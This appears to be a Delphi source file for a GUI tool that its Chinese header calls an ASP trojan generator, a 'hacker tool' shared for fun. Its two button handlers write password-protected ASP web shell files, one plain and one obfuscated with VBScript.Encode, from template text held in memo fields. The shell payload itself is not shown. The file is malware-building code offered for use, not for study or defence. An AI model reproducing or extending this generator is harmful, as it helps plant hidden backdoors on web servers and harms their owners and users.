unit1.pas

ASP木马生成器 黑客要的工具哈哈希望大家拿来用着玩不要破坏哦

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, bsSkinData, BusinessSkinForm, StdCtrls, bsSkinBoxCtrls,
  bsSkinCtrls, Mask;

type
  TForm1 = class(TForm)
    bsBusinessSkinForm1: TbsBusinessSkinForm;
    bsSkinData1: TbsSkinData;
    bsCompressedSkinList1: TbsCompressedSkinList;
    bsSkinLabel1: TbsSkinLabel;
    bsSkinMemo1: TbsSkinMemo;
    bsSkinStdLabel1: TbsSkinStdLabel;
    bsSkinEdit1: TbsSkinEdit;
    bsSkinButton1: TbsSkinButton;
    bsSkinMemo2: TbsSkinMemo;
    bsSkinMemo3: TbsSkinMemo;
    bsSkinButton2: TbsSkinButton;
    bsSkinMemo4: TbsSkinMemo;
    bsSkinMemo5: TbsSkinMemo;
    bsSkinStdLabel2: TbsSkinStdLabel;
    bsSkinLinkLabel1: TbsSkinLinkLabel;
    bsSkinLinkLabel2: TbsSkinLinkLabel;
    procedure bsSkinButton1Click(Sender: TObject);
    procedure bsSkinButton2Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.bsSkinButton1Click(Sender: TObject);
var
wei:textfile;
pass,w1,w2:string;
begin
pass:=bsSkinEdit1.Text;
w1:=bsskinmemo2.Lines.GetText;
w2:=bsskinmemo3.Lines.GetText;
assignfile(wei,ExtractFilePath(Application.ExeName)+'未加密.asp');
rewrite(wei);
writeln(wei,'<%');
writeln(wei,'UserPass="'+pass+'"');
writeln(wei,w1);
writeln(wei,w2);
closefile(wei);
application.MessageBox('未加密版生成完毕','提示',0);
end;

procedure TForm1.bsSkinButton2Click(Sender: TObject);
var
jia:textfile;
pass,j1,j2:string;
begin
pass:=bsSkinEdit1.Text;
j1:=bsSkinMemo4.Lines.GetText;
j2:=bsSkinMemo5.Lines.GetText;
assignfile(jia,ExtractFilePath(Application.ExeName)+'加密版.asp');
rewrite(jia);
writeln(jia,'<%@ LANGUAGE = VBScript.Encode %><%');
writeln(jia,'UserPass="'+pass+'"');
writeln(jia,j1);
writeln(jia,j2);
closefile(jia);
application.MessageBox('加密版生成完毕','提示',0);

end;

end.